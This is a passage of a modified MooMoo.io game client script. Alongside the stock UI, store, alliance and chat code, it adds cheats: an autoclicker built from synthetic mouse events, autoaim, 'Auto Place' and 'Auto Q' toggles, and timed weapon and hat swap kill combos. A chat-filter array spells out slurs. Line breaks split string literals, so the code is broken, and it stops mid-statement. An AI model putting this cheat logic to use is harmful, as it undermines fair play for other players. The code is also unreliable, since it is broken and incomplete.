"Settings") : (Ae.classList.add("showing"),

me.innerText = "Close")
}
)),
s.hookTouchEvents(ge),
ye.onclick = s.checkTrusted((function() {
yn(),
"block" != Ye.style.display ? Ut() : Ye.style.display =
"none"
}
)),
s.hookTouchEvents(ye),
ke.onclick = s.checkTrusted((function() {
"block" != Qe.style.display ? (Qe.style.display = "block",
Ye.style.display = "none",
drawMenu(),
an(),
Gt()) : Qe.style.display =
"none"
}
)),
s.hookTouchEvents(ke),
ve.onclick = s.checkTrusted((function() {
rn()
}
)),
s.hookTouchEvents(ve),
Ne.onclick = s.checkTrusted((function() {
}
)),
s.hookTouchEvents(Ne),
function() {
for (var e = 0; e < jn.length; ++e) {
var t = new Image;
t.onload = function() {
this.isLoaded = !0
}
,
t.src = ".././img/icons/" + jn[e] + ".png",
Rn[jn[e]] = t
}
}(),
Pe.style.display = "none",
Me.style.display = "block",
Le.value = E("moo_name") || "",
function() {
var e = E("native_resolution");
Zt(e ? "true" == e : "undefined" != typeof cordova),
A = "true" == E("show_ping"),
Ie.hidden = !A,
E("moo_moosic"),
setInterval((function() {
window.cordova &&
(document.getElementById("downloadButtonContainer").classList.add("cordova"),

document.getElementById("mobileDownloadButtonContainer").classList.add("cordova"))
}
), 1e3),
en(),
s.removeAllChildren(Ce);
for (var t = 0; t < l.weapons.length + l.list.length; ++t)
!function(e) {
s.generateElement({
id: "actionBarItem" + e,
class: "actionBarItem",
style: "display:none",
onmouseout: function() {
Tt()
},
parent: Ce
})
}(t);
for (t = 0; t < l.list.length + l.weapons.length; ++t)
!function(e) {
var t = document.createElement("canvas");
t.width = t.height = 66;
var n = t.getContext("2d");
if (n.translate(t.width / 2, t.height / 2),
n.imageSmoothingEnabled = !1,
n.webkitImageSmoothingEnabled = !1,
n.mozImageSmoothingEnabled = !1,
l.weapons[e]) {
n.rotate(Math.PI / 4 + Math.PI);
var i = new Image;
Zn[l.weapons[e].src] = i,
i.onload = function() {
this.isLoaded = !0;
var i = 1 / (this.height / this.width)
, r = l.weapons[e].iPad || 1;
n.drawImage(this, -t.width * r * o.iconPad *
i / 2, -t.height * r * o.iconPad / 2, t.width * r * i * o.iconPad, t.height * r *
o.iconPad),
n.fillStyle = "rgba(0, 0, 70, 0.1)",
n.globalCompositeOperation = "source-
atop",
n.fillRect(-t.width / 2, -t.height / 2,
t.width, t.height),
document.getElementById("actionBarItem"
+ e).style.backgroundImage = "url(" + t.toDataURL() + ")"
}
,
i.src = ".././img/weapons/" +
l.weapons[e].src + ".png",
(r = document.getElementById("actionBarItem"
+ e)).onmouseover = s.checkTrusted((function() {
Tt(l.weapons[e], !0)
}

)),
r.onclick = s.checkTrusted((function() {
Sn(e, !0)
}
)),
s.hookTouchEvents(r)
} else {
i = ri(l.list[e - l.weapons.length], !0);
var r, a = Math.min(t.width - o.iconPadding,
i.width);
n.globalAlpha = 1,
n.drawImage(i, -a / 2, -a / 2, a, a),
n.fillStyle = "rgba(0, 0, 70, 0.1)",
n.globalCompositeOperation = "source-atop",
n.fillRect(-a / 2, -a / 2, a, a),
document.getElementById("actionBarItem" +
e).style.backgroundImage = "url(" + t.toDataURL() + ")",
(r = document.getElementById("actionBarItem"
+ e)).onmouseover = s.checkTrusted((function() {
Tt(l.list[e - l.weapons.length])
}

)),
r.onclick = s.checkTrusted((function() {
Sn(e - l.weapons.length)
}
)),
s.hookTouchEvents(r)
}
}(t);
Le.ontouchstart = s.checkTrusted((function(e) {
e.preventDefault();
var t = prompt("enter name", e.currentTarget.value);
e.currentTarget.value = t.slice(0, 15)
}
)),
Se.checked = M,
Se.onchange = s.checkTrusted((function(e) {
Zt(e.target.checked)
}
)),
Te.checked = A,
Te.onchange = s.checkTrusted((function(e) {
A = Te.checked,
Ie.hidden = !A,
I("show_ping", A ? "true" : "false")
}
))
}())
}
), {
id: st,
d: ft,
1: En,
2: vi,
4: wi,
33: Ti,
5: Ln,
6: li,
a: gi,
aa: pi,
7: Wn,
8: hi,
sp: ui,
9: xi,
h: Si,
11: Pn,
12: Cn,
13: Bn,
14: bi,
15: Dn,
16: Un,
17: $t,
18: fi,
19: di,
20: Ci,
ac: Ot,
ad: _t,
an: Bt,
st: Rt,
sa: jt,
us: Nt,
ch: hn,
mm: Wt,
t: Mn,
p: Yt,
pp: Pi
}),
pt(),
setTimeout(()=>gt(), 3e3)
}
), (function(e) {
console.error("Vultr error:", e),
alert("Error:\n" + e),
ft("disconnected")
}
))
}
var b, x = new g(o,s), S = Math.PI, T = 2 * S;
function I(e, t) {
b && localStorage.setItem(e, t)
}
function E(e) {
return b ? localStorage.getItem(e) : null
}
Math.lerpAngle = function(e, t, n) {
Math.abs(t - e) > S && (e > t ? t += T : e += T);
var i = t + (e - t) * n;
return i >= 0 && i <= T ? i : i % T
}
,
CanvasRenderingContext2D.prototype.roundRect = function(e, t, n, i, r) {
return n < 2 * r && (r = n / 2),
i < 2 * r && (r = i / 2),
r < 0 && (r = 0),
this.beginPath(),
this.moveTo(e + r, t),
this.arcTo(e + n, t, e + n, t + i, r),
this.arcTo(e + n, t + i, e, t + i, r),
this.arcTo(e, t + i, e, t, r),
this.arcTo(e, t, e + n, t, r),
this.closePath(),
this
}
,
"undefined" != typeof Storage && (b = !0),
E("consent") || (consentBlock.style.display = "block"),
window.checkTerms = function(e) {
e ? (consentBlock.style.display = "none",
I("consent", 1)) : $("#consentShake").effect("shake")
}
;
var M, A, P, B, C, O, R, j, _, U, D, L, F, z, H = E("moofoll"), V = 1, q =
Date.now(), Y = [], W = [], X = [], N = [], G = [], J = new p(d,G,W,Y,nt,l,o,s), K
= n(70), Q = n(71), Z = new K(Y,Q,W,l,null,o,s), ee = 1, te = 0, ne = 0, ie = 0, re
= {
id: -1,
startX: 0,
startY: 0,
currentX: 0,
currentY: 0
}, se = {
id: -1,
startX: 0,
startY: 0,
currentX: 0,
currentY: 0
}, ae = 0, oe = o.maxScreenWidth, ce = o.maxScreenHeight, le = !1, he =
(document.getElementById("ad-container"),

document.getElementById("mainMenu")), ue = document.getElementById("enterGame"), fe
= document.getElementById("promoImg"), de = document.getElementById("partyButton"),
pe = document.getElementById("joinPartyButton"), ge =
document.getElementById("settingsButton"), me = ge.getElementsByTagName("span")[0],
ye = document.getElementById("allianceButton"), ke =
document.getElementById("storeButton"), ve = document.getElementById("chatButton"),
we = document.getElementById("gameCanvas"), be = we.getContext("2d"), xe =
document.getElementById("serverBrowser"), Se =
document.getElementById("nativeResolution"), Te =
document.getElementById("showPing"), Ie = (document.getElementById("playMusic"),
document.getElementById("pingDisplay")), Ee =
document.getElementById("shutdownDisplay"), Me =
document.getElementById("menuCardHolder"), Ae =
document.getElementById("guideCard"), Pe = document.getElementById("loadingText"),
Be = document.getElementById("gameUI"), Ce = document.getElementById("actionBar"),
Oe = document.getElementById("scoreDisplay"), Re =
document.getElementById("foodDisplay"), je =
document.getElementById("woodDisplay"), _e =
document.getElementById("stoneDisplay"), Ue =
document.getElementById("killCounter"), De =
document.getElementById("leaderboardData"), Le =
document.getElementById("nameInput"), Fe =
document.getElementById("itemInfoHolder"), ze = document.getElementById("ageText"),
He = document.getElementById("ageBarBody"), Ve =
document.getElementById("upgradeHolder"), qe =
document.getElementById("upgradeCounter"), Ye =
document.getElementById("allianceMenu"), We =
document.getElementById("allianceHolder"), Xe =
document.getElementById("allianceManager"), Ne =
document.getElementById("mapDisplay"), Ge = document.getElementById("diedText"), Je
= document.getElementById("skinColorHolder"), Ke = Ne.getContext("2d");
Ne.width = 300,
Ne.height = 300;
var Qe = document.getElementById("storeMenu")
, $e = document.getElementById("storeHolder")
, Ze = document.getElementById("noticationDisplay")
, et = f.hats
, tt = f.accessories
, nt = new h(c,N,s,o)
, it = "#525252"
, rt = "#3d3f42";
function st(e) {
X = e.teams
}
var at = document.getElementById("featuredYoutube")
, ot = [{
name: "l._.re",
link: ""
}]
, ct = ot[s.randInt(0, ot.length - 1)];
at.innerHTML = "<a target='_blank' class='ytLink' href='" + ct.link + "'><i
class='material-icons' style='vertical-align: top;'>&#xE064;</i> " + ct.name +
"</a>";
var lt = !0
, ht = !1
, ut = !1;
function ft(e) {
r.close(),
dt(e)
}
function dt(e) {
he.style.display = "block",
Be.style.display = "none",
Me.style.display = "none",
Ge.style.display = "none",
Pe.style.display = "block",
Pe.innerHTML = e + "<a
href='javascript:window.location.href=window.location.href'
class='ytLink'>reload</a>"
}
window.onblur = function() {
lt = !1
}
,
window.onfocus = function() {
lt = !0,
R && R.alive && yn()
}
,
window.onload = function() {
ht = !0,
v(),
setTimeout((function() {
k || (alert("Captcha failed to load"),
window.location.reload())
}
), 2e4)
}
,
window.captchaCallback = function() {
ut = !0,
v()
}
,
we.oncontextmenu = function() {
return !1
}
;
function pt() {
var e, t, n = "", i = 0;
for (var r in y.servers) {
for (var s = y.servers[r], a = 0, c = 0; c < s.length; c++)
for (var l = 0; l < s[c].games.length; l++)
a += s[c].games[l].playerCount;
i += a;
var h = y.regionInfo[r].name;
n += "<option disabled>" + h + " - " + a + " players</option>";
for (var u = 0; u < s.length; u++)
for (var f = s[u], d = 0; d < f.games.length; d++) {
var p = f.games[d]
, g = 1 * f.index + d + 1
, m = y.server && y.server.region === f.region &&
y.server.index === f.index && y.gameIndex == d
, k = h + " " + g + " [" + Math.min(p.playerCount,
o.maxPlayers) + "/" + o.maxPlayers + "]";
let e = y.stripRegion(r) + ":" + u + ":" + d;
m && (de.getElementsByTagName("span")[0].innerText = e),
n += "<option value='" + e + "' " + (m ? "selected" :
"") + ">" + k + "</option>"
}
n += "<option disabled></option>"
}
n += "<option disabled>All Servers - " + i + " players</option>",
xe.innerHTML = n,
"sandbox.moomoo.io" == location.hostname ? (e = "Back to MooMoo",
t = "//moomoo.io/") : (e
= "Try the sandbox",
t
= "//sandbox.moomoo.io/"),
document.getElementById("altServer").innerHTML = "<a href='" + t +
"'>" + e + "<i class='material-icons' style='font-size:10px;vertical-
align:middle'>arrow_forward_ios</i></a>"
}
function gt() {
var e = new XMLHttpRequest;
e.onreadystatechange = function() {
4 == this.readyState && (200 == this.status ? (window.vultr =
JSON.parse(this.responseText),

y.processServers(vultr.servers),
pt()) :
console.error("Failed to load server data with status code:", this.status))
}
,
e.open("GET", "/serverData", !0),
e.send()
}
xe.addEventListener("change", s.checkTrusted((function() {
let e = xe.value.split(":");
y.switchServer(e[0], e[1], e[2])
}
)));
var mt = document.getElementById("pre-content-container")
, yt = null
, kt = null;
window.cpmstarAPI((function(e) {
e.game.setTarget(mt),
kt = e
}
));
var vt = 3e5
, wt = 0
, bt = 0;
function xt() {
if (!cpmstarAPI || !kt)
return console.log("Failed to load video ad API", !!cpmstarAPI, !!
kt),
void Tn();
(yt = new
kt.game.RewardedVideoView("rewardedvideo")).addEventListener("ad_closed",
(function(e) {
console.log("Video ad closed"),
St()
}

)),
yt.addEventListener("loaded", (function(e) {
console.log("Video ad loaded"),
yt.show()
}
)),
yt.addEventListener("load_failed", (function(e) {
console.log("Video ad load failed", e),
St()
}
)),
yt.load(),
mt.style.display = "block"
}
function St() {
mt.style.display = "none",
Tn()
}
function Tt(e, t, n) {
if (R && e)
if (s.removeAllChildren(Fe),
Fe.classList.add("visible"),
s.generateElement({
id: "itemInfoName",
text: s.capitalizeFirst(e.name),
parent: Fe
}),
s.generateElement({
id: "itemInfoDesc",
text: e.desc,
parent: Fe
}),
n)
;
else if (t)
s.generateElement({
class: "itemInfoReq",
text: e.type ? "secondary" : "primary",
parent: Fe
});
else {
for (var i = 0; i < e.req.length; i += 2)
s.generateElement({
class: "itemInfoReq",
html: e.req[i] + "<span class='itemInfoReqVal'> x" +
e.req[i + 1] + "</span>",
parent: Fe
});
e.group.limit && s.generateElement({
class: "itemInfoLmt",
text: (R.itemCounts[e.group.id] || 0) + "/" + e.group.limit,
parent: Fe
})
}
else
Fe.classList.remove("visible")
}
window.showPreAd = xt;
var It, Et, Mt, At = [], Pt = [];
var primaryReload = [], secondaryReload = [], turretReload = [];
var lastX = [], lastY = [];
let AI = false, bsr = false;
let ctl = null, ltcl = null, t_s = false;
let itp = {x: void 0, y: void 0, sid: Infinity, insta: false, vis: false,
dir: void 0, health: void 0},
spin = {degree: 36, toggle: false, angle: 0}, autoaim = true, trapaim =
false, hit = {in: 0, out: 0, p: false};
let Mill = {x: null, y: null, z: false, k: null};
let erp = false;
function Bt(e, t) {
At.push({
sid: e,
name: t
}),
Ct()
}
function Ct() {
if (At[0]) {
var e = At[0];
s.removeAllChildren(Ze),
Ze.style.display = "block",
s.generateElement({
class: "notificationText",
text: e.name,
parent: Ze
}),
s.generateElement({
class: "notifButton",
html: "<i class='material-icons' style='font-
size:28px;color:#cc5151;'>&#xE14C;</i>",
parent: Ze,
onclick: function() {
Dt(0)
},
hookTouch: !0
}),
s.generateElement({
class: "notifButton",
html: "<i class='material-icons' style='font-
size:28px;color:#8ecc51;'>&#xE876;</i>",
parent: Ze,
onclick: function() {
Dt(1)
},
hookTouch: !0
})
} else
Ze.style.display = "none"
}
function Ot(e) {
X.push(e),
"block" == Ye.style.display && Ut()
}
function Rt(e, t) {
R && (R.team = e,
R.isOwner = t,
"block" == Ye.style.display && Ut())
}
function jt(e) {
Pt = e,
"block" == Ye.style.display && Ut()
}
function _t(e) {
for (var t = X.length - 1; t >= 0; t--)
X[t].sid == e && X.splice(t, 1);
"block" == Ye.style.display && Ut()
}
function Ut() {
if (R && R.alive) {
if (an(),
Qe.style.display = "none",
Ye.style.display = "block",
s.removeAllChildren(We),
R.team)
for (var e = 0; e < Pt.length; e += 2)
!function(e) {
var t = s.generateElement({
class: "allianceItem",
style: "color:" + (Pt[e] == R.sid ? "#fff" :
"rgba(255,255,255,0.6)"),
text: Pt[e + 1],
parent: We
});
R.isOwner && Pt[e] != R.sid && s.generateElement({
class: "joinAlBtn",
text: "Kick",
onclick: function() {
Lt(Pt[e])
},
hookTouch: !0,
parent: t
})
}(e);
else if (X.length)
for (e = 0; e < X.length; ++e)
!function(e) {
var t = s.generateElement({
class: "allianceItem",
style: "color:" + (X[e].sid == R.team ? "#fff" :
"rgba(255,255,255,0.6)"),
text: X[e].sid,
parent: We
});
s.generateElement({
class: "joinAlBtn",
text: "Join",
onclick: function() {
Ft(e)
},
hookTouch: !0,
parent: t
})
}(e);
else
s.generateElement({
class: "allianceItem",
text: "No Tribes Yet",
parent: We
});
s.removeAllChildren(Xe),
R.team ? s.generateElement({
class: "allianceButtonM",
style: "width: 360px",
text: R.isOwner ? "Delete Tribe" : "Leave Tribe",
onclick: function() {
Ht()
},
hookTouch: !0,
parent: Xe
}) : (s.generateElement({
tag: "input",
type: "text",
id: "allianceInput",
maxLength: 7,
placeholder: "unique name",
ontouchstart: function(e) {
e.preventDefault();
var t = prompt("unique name", e.currentTarget.value);
e.currentTarget.value = t.slice(0, 7)
},
parent: Xe
}),
s.generateElement({
tag: "div",
class: "allianceButtonM",
style: "width: 140px;",
text: "Create",
onclick: function() {
zt()
},
hookTouch: !0,
parent: Xe
}))
}
}
var functions = ["Auto Place", "Auto Q"];
function drawMenu() {
if(Qe.style.display === "block") {
let randomShit = document.createElement("div"), anotherShit =
document.createElement("div");
randomShit.id = "urbad";
anotherShit.id = "ggez";
document.getElementById("storeMenu").appendChild(randomShit);
document.getElementById("urbad").style.paddingTop = "10px";
document.getElementById("urbad").appendChild(anotherShit);
document.getElementById("ggez").style.width = "px";
document.getElementById("ggez").style.display = "inline-block";
document.getElementById("ggez").style.padding = "10px";
document.getElementById("ggez").style.fontSize = "27px";
document.getElementById("ggez").style.backgroundColor = "rgba(0, 0,
0, 0.25)";
document.getElementById("ggez").style.borderRadius = "4px";
document.getElementById("ggez").style.color = "#fff";
document.getElementById("ggez").style.pointerEvents = "all";
document.getElementById("ggez").style.cursor = "pointer";
document.getElementById("ggez").innerText = "functions";

document.getElementById("ggez").onclick = () => {
let trashIndex = document.createElement("div");
trashIndex.id = "bullshit";
document.getElementById("storeHolder").appendChild(trashIndex);
for(let n = (Xt == 0 ? 1 : 0), t = (Xt == 0 ? et.length :
tt.length); n < t; n++) {
document.getElementById("storeDisplay" + n).remove();
}
[...Array(functions.length)].fill("style").map((q, e) => q +
e).forEach(a => {
let index = document.createElement("div");
index.id = a;
document.getElementById("bullshit").appendChild(index);
document.getElementById("bullshit").style.display = "block";
document.getElementById(a).style.pointerEvents = "all";
document.getElementById(a).style.cursor = "pointer";
document.getElementById(a).style.fontSize = "35px";
});
for(let i = 0; i < functions.length; i++) {
document.getElementById("style"+i).innerText = functions[i];
}
document.getElementById("style0").onclick = () => {
if(!erp) erp = true;
else erp = false;
}
document.getElementById("style1").onclick = () => {
if(!bsr) bsr = true;
else bsr = false;
}
}
}
}
function Dt(e) {
r.send("11", At[0].sid, e),
At.splice(0, 1),
Ct()
}
function Lt(e) {
r.send("12", e)
}
function Ft(e) {
r.send("10", X[e].sid)
}
function zt() {
r.send("8", document.getElementById("allianceInput").value)
}
function Ht() {
At = [],
Ct(),
r.send("9")
}
var Vt, qt = [];
script["data"] = o;
function Yt(e, t) {
for (var n = 0; n < qt.length; ++n)
if (!qt[n].active) {
Vt = qt[n];
break
}
Vt || (Vt = new function() {
this.init = function(e, t) {
this.scale = 0,
this.x = e,
this.y = t,
this.active = !0
}
,
this.update = function(e, t) {
this.active && (this.scale += .05 * t,
this.scale >= o.mapPingScale ? this.active = !
1 : (e.globalAlpha = 1 - Math.max(0, this.scale / o.mapPingScale),

e.beginPath(),

e.arc(this.x / o.mapScale * Ne.width, this.y / o.mapScale * Ne.width, this.scale,


0, 2 * Math.PI),

e.stroke()))
}
}
,
qt.push(Vt)),
Vt.init(e, t)
}
function Wt(e) {
Et = e
}
var Xt = 0;
function Nt(e, t, n) {
n ? e ? R.tailIndex = t : R.tails[t] = 1 : e ? R.skinIndex = t :
R.skins[t] = 1,
"block" == Qe.style.display && (Gt(), drawMenu());
}
function Gt() {
if (R) {
s.removeAllChildren($e);
for (var e = Xt, t = e ? tt : et, n = 0; n < t.length; ++n)
t[n].dontSell || function(n) {
var i = s.generateElement({
id: "storeDisplay" + n,
class: "storeItem",
onmouseout: function() {
Tt()
},
onmouseover: function() {
Tt(t[n], !1, !0)
},
parent: $e
});
s.hookTouchEvents(i, !0),
s.generateElement({
tag: "img",
class: "hatPreview",
src: "../img/" + (e ? "accessories/access_" :
"hats/hat_") + t[n].id + (t[n].topSprite ? "_p" : "") + ".png",
parent: i
}),
s.generateElement({
tag: "span",
text: t[n].name,
parent: i
}),
(e ? R.tails[t[n].id] : R.skins[t[n].id]) ? (e ?
R.tailIndex : R.skinIndex) == t[n].id ? s.generateElement({
class: "joinAlBtn",
style: "margin-top: 5px",
text: "Unequip",
onclick: function() {
Jt(0, e)
},
hookTouch: !0,
parent: i
}) : s.generateElement({
class: "joinAlBtn",
style: "margin-top: 5px",
text: "Equip",
onclick: function() {
Jt(t[n].id, e)
},
hookTouch: !0,
parent: i
}) : (s.generateElement({
class: "joinAlBtn",
style: "margin-top: 5px",
text: "Buy",
onclick: function() {
Kt(t[n].id, e)
},
hookTouch: !0,
parent: i
}),
s.generateElement({
tag: "span",
class: "itemPrice",
text: t[n].price,
parent: i
}))
}(n)
}
}
function Jt(e, t) {
r.send("13c", 0, e, t)
}
function Kt(e, t) {
r.send("13c", 1, e, t)
}
function Hg(e, t){
Jt(e, 0);
Jt(t, 1);
}
function Qt() {
Qe.style.display = "none",
Ye.style.display = "none",
an()
}
function $t(e, t) {
e && (t ? R.weapons = e : R.items = e);
for (var n = 0; n < l.list.length; ++n) {
var i = l.weapons.length + n;
document.getElementById("actionBarItem" + i).style.display =
R.items.indexOf(l.list[n].id) >= 0 ? "inline-block" : "none"
}
for (n = 0; n < l.weapons.length; ++n)
document.getElementById("actionBarItem" + n).style.display =
R.weapons[l.weapons[n].type] == l.weapons[n].id ? "inline-block" : "none"
}
script["data"]['weapons'] = l.weapons;
script["data"]['projectiles'] = l.projectiles;
function Zt(e) {
M = e,
V = e && window.devicePixelRatio || 0.6,
Se.checked = e,
I("native_resolution", e.toString()),
un()
}
function en() {
for (var e = "", t = 0; t < o.skinColors.length; ++t)
e += t == ae ? "<div class='skinColorItem activeSkin'
style='background-color:" + o.skinColors[t] + "' onclick='selectSkinColor(" + t +
")'></div>" : "<div class='skinColorItem' style='background-color:" +
o.skinColors[t] + "' onclick='selectSkinColor(" + t + ")'></div>";
Je.innerHTML = e
}
var tn = document.getElementById("chatBox")
, nn = document.getElementById("chatHolder");
function rn() {
on ? setTimeout((function() {
var e = prompt("chat message");
e && sn(e)
}
), 1) : "block" == nn.style.display ? (tn.value &&
sn(tn.value),
an()) :
(Qe.style.display = "none",

Ye.style.display = "none",

nn.style.display = "block",

tn.focus(),
yn()),
tn.value = ""
}
function sn(e) {
r.send("ch", e.slice(0, 30))
}
function an() {
tn.value = "",
nn.style.display = "none"
}
var on, cn, ln = ["cunt", "whore", "fuck", "shit", "faggot", "nigger",
"nigga", "dick", "vagina", "minge", "cock", "rape", "cum", "sex", "tits", "penis",
"clit", "pussy", "meatcurtain", "jizz", "prune", "douche", "wanker", "damn",
"bitch", "dick", "fag", "bastard"];
function hn(e, t) {
var n = Ii(e);
n && (n.chatMessage = function(e) {
for (var t, n = 0; n < ln.length; ++n)
if (e.indexOf(ln[n]) > -1) {
t = "";
for (var i = 0; i < ln[n].length; ++i)
t += t.length ? "o" : "M";
var r = new RegExp(ln[n],"g");
e = e.replace(r, t)
}
return e
}(t),
n.chatCountdown = o.chatCountdown)
}
function un() {
F = window.innerWidth,
z = window.innerHeight;
var e = Math.max(F / oe, z / ce) * V;
we.width = F * V,
we.height = z * V,
we.style.width = F + "px",
we.style.height = z + "px",
be.setTransform(e, 0, 0, e, (F * V - oe * e) / 2, (z * V - ce * e) /
2)
}
function fn(e) {
(on = e) ? Ae.classList.add("touch") : Ae.classList.remove("touch")
}
function dn(e) {
e.preventDefault(),
e.stopPropagation(),
fn(!0);
for (var t = 0; t < e.changedTouches.length; t++) {
var n = e.changedTouches[t];
n.identifier == re.id ? (re.id = -1,
bn()) : n.identifier == se.id && (se.id = -
1,

R.buildIndex >= 0 && (O = 1,

vn()),
O = 0,
vn())
}
}
function pn() {
return R ? (-1 != se.id ? cn = Math.atan2(se.currentY - se.startY,
se.currentX - se.startX) : R.lockDir || on || (cn = Math.atan2(ie - z / 2, ne - F /
2)),
s.fixTo(cn || 0, 2)) : 0
}
window.addEventListener("resize", s.checkTrusted(un)),
un(),
fn(!1),
window.setUsingTouch = fn,
we.addEventListener("touchmove", s.checkTrusted((function(e) {
e.preventDefault(),
e.stopPropagation(),
fn(!0);
for (var t = 0; t < e.changedTouches.length; t++) {
var n = e.changedTouches[t];
n.identifier == re.id ? (re.currentX = n.pageX,
re.currentY = n.pageY,
bn()) : n.identifier == se.id &&
(se.currentX = n.pageX,

se.currentY = n.pageY,
O = 1)
}
}
)), !1),
we.addEventListener("touchstart", s.checkTrusted((function(e) {
e.preventDefault(),
e.stopPropagation(),
fn(!0);
for (var t = 0; t < e.changedTouches.length; t++) {
var n = e.changedTouches[t];
n.pageX < document.body.scrollWidth / 2 && -1 == re.id ? (re.id =
n.identifier,
re.startX
= re.currentX = n.pageX,
re.startY
= re.currentY = n.pageY,
bn()) :
n.pageX > document.body.scrollWidth / 2 && -1 == se.id && (se.id = n.identifier,

se.startX = se.currentX = n.pageX,

se.startY = se.currentY = n.pageY,

R.buildIndex < 0 && (O = 1,


vn()))
}
}
)), !1),
we.addEventListener("touchend", s.checkTrusted(dn), !1),
we.addEventListener("touchcancel", s.checkTrusted(dn), !1),
we.addEventListener("touchleave", s.checkTrusted(dn), !1),
we.addEventListener("mousemove", (function(e) {
e.preventDefault(),
e.stopPropagation(),
fn(!1),
ne = e.clientX,
ie = e.clientY
}
), !1),
we.addEventListener("mousedown", (function(e) {
fn(!1),
1 != O && (O = 1,
vn(e))
}
), !1),
we.addEventListener("mouseup", (function(e) {
fn(!1),
0 != O && (O = 0,
vn(e))
}
), !1);
var gn = {}
, mn = {
87: [0, -1],
38: [0, -1],
83: [0, 1],
40: [0, 1],
65: [-1, 0],
37: [-1, 0],
68: [1, 0],
39: [1, 0]
};
function yn() {
gn = {},
r.send("rmd")
}
function kn() {
return "block" != Ye.style.display && "block" != nn.style.display
}
let clickTimer = {}, up = false, down = false, left = false, right = false;
let bull = null, tank = null, every = null;
var Tb;
var clickerID;
function vn(e) {
R && R.alive && e.button != 1 && r.send("c", O, R.buildIndex >= 0 ?
pn() : null);
if(e.isTrusted){
if(e.button == 1){
if(O){
Tb = e.button;
autoPush = true;
}else{
autoPush = false;
}
}else{
if(O){
Tb = e.button;
clickerID = setInterval(function(){
let clickEvent = document.createEvent ('MouseEvents');
clickEvent.initEvent ("mouseup", true, true);
we.dispatchEvent (clickEvent);
clickEvent = document.createEvent ('MouseEvents');
clickEvent.initEvent ("mousedown", true, true);
we.dispatchEvent (clickEvent);
},15);
}else{
clearInterval(clickerID);
}
}
}else if(!([8, 14, 11].includes(R.weapons[0]))){
if(R.weapons[1] == 10) {
if(R.weaponIndex == R.weapons[1]) {
if(secondaryReload[R.sid] == 1) {
if(Tb == 2) {
r.send(7, 1);
Equip(40, nEs.length && s.getDistance(ntE[1],
ntE[2], R.x, R.y) <= l.weapons[R.weaponIndex].range + 35 ? 21 : 11);
clickTimer[tank].vel = true;
setTimeout(function(){
Equip(6, 11), oldShit.a = 50, oldShit.b = 11;
clickTimer[tank].vel = false;
clickTimer[tank].date = Date.now();
clickTimer[every].date = Date.now();
r.send(7, 1);
},120)
} else if(Tb == 0) {
r.send(7, 1);
s.getDistance(ntE[1], ntE[2], R.x, R.y) <=
l.weapons[R.weaponIndex].range+35 && (autoaim = true);
Equip(7, nEs.length ? 21 : 0);
clickTimer[bull].vel = true;
setTimeout(function(){
Equip(nEs.length ? secondaryReload[ntE[0]] == 1
&& s.getDistance(ntE[1], ntE[2], R.x, R.y) <= l.weapons[R.weaponIndex].range + 35 +
(MM(R) * 2) ? 6 : biomeeval(21)[0] : 6, nEs.length ? 21 : 0);
nEs.length ? secondaryReload[ntE[0]] == 1 &&
s.getDistance(ntE[1], ntE[2], R.x, R.y) <= l.weapons[R.weaponIndex].range + 35 +
(MM(R) * 2) ? (oldShit.a = 6, oldShit.b = 21) : (oldShit.a = biomeeval(21)[0],
oldShit.b = 21) : (oldShit.a = 6, oldShit.b = 0);
autoaim = false;
clickTimer[bull].vel = false;
clickTimer[bull].date = Date.now();
clickTimer[every].date = Date.now();
r.send(7, 1);
},120)
}
}
} else {
if(primaryReload[R.sid] == 1) {
if(Tb == 2) {
r.send(7, 1);
Equip(40, nEs.length && s.getDistance(ntE[1],
ntE[2], R.x, R.y) <= l.weapons[R.weaponIndex].range + 35 ? 21 : 11);
clickTimer[tank].vel = true;
setTimeout(function(){
Equip(6, 11), oldShit.a = 50, oldShit.b = 11;
clickTimer[tank].vel = false;
clickTimer[tank].date = Date.now();
clickTimer[every].date = Date.now();
r.send(7, 1);
},120)
} else if(Tb == 0) {
r.send(7, 1);
s.getDistance(ntE[1], ntE[2], R.x, R.y) <=
l.weapons[R.weaponIndex].range+35 && (autoaim = true);
Equip(7, nEs.length ? 21 : 0);
clickTimer[bull].vel = true;
setTimeout(function(){
Equip(nEs.length ? secondaryReload[ntE[0]] == 1
&& s.getDistance(ntE[1], ntE[2], R.x, R.y) <= l.weapons[R.weaponIndex].range + 35 +
(MM(R) * 2) ? 6 : biomeeval(21)[0] : 6, nEs.length ? 21 : 0);
nEs.length ? secondaryReload[ntE[0]] == 1 &&
s.getDistance(ntE[1], ntE[2], R.x, R.y) <= l.weapons[R.weaponIndex].range + 35 +
(MM(R) * 2) ? (oldShit.a = 6, oldShit.b = 21) : (oldShit.a = biomeeval(21)[0],
oldShit.b = 21) : (oldShit.a = 6, oldShit.b = 0);
autoaim = false;
clickTimer[bull].vel = false;
clickTimer[bull].date = Date.now();
clickTimer[every].date = Date.now();
r.send(7, 1);
},120)
}
}
}
} else {
if(R.weaponIndex == R.weapons[0]) {
if(primaryReload[R.sid] == 1) {
if(Tb == 2) {
r.send(7, 1);
Equip(40, nEs.length && s.getDistance(ntE[1],
ntE[2], R.x, R.y) <= l.weapons[R.weaponIndex].range + 35 ? 21 : 11);
clickTimer[tank].vel = true;
setTimeout(function(){
Equip(6, 11), oldShit.a = 11, oldShit.b = 11;
clickTimer[tank].vel = false;
clickTimer[tank].date = Date.now();
clickTimer[every].date = Date.now();
r.send(7, 1);
},120)
} else if(Tb == 0) {
r.send(7, 1);
s.getDistance(ntE[1], ntE[2], R.x, R.y) <=
l.weapons[R.weaponIndex].range+35 && (autoaim = true);
Equip(7, nEs.length ? 21 : 0);
clickTimer[bull].vel = true;
setTimeout(function(){
Equip(nEs.length ? secondaryReload[ntE[0]] == 1
&& s.getDistance(ntE[1], ntE[2], R.x, R.y) <= l.weapons[R.weaponIndex].range + 35 +
(MM(R) * 2) ? 6 : biomeeval(21)[0] : 6, nEs.length ? 21 : 0);
nEs.length ? secondaryReload[ntE[0]] == 1 &&
s.getDistance(ntE[1], ntE[2], R.x, R.y) <= l.weapons[R.weaponIndex].range + 35 +
(MM(R) * 2) ? (oldShit.a = 6, oldShit.b = 21) : (oldShit.a = biomeeval(21)[0],
oldShit.b = 21) : (oldShit.a = 6, oldShit.b = 0);
autoaim = false;
clickTimer[bull].vel = false;
clickTimer[bull].date = Date.now();
clickTimer[every].date = Date.now();
r.send(7, 1);
},120)
}
}
} else {
Sn(R.weapons[0], 1);
}
}
} else {
if(R.weapons[1] == 10) {
if(R.weaponIndex == R.weapons[1]) {
if(secondaryReload[R.sid] == 1) {
if(Tb == 2) {
r.send(7, 21);
Equip(40, nEs.length && s.getDistance(ntE[1],
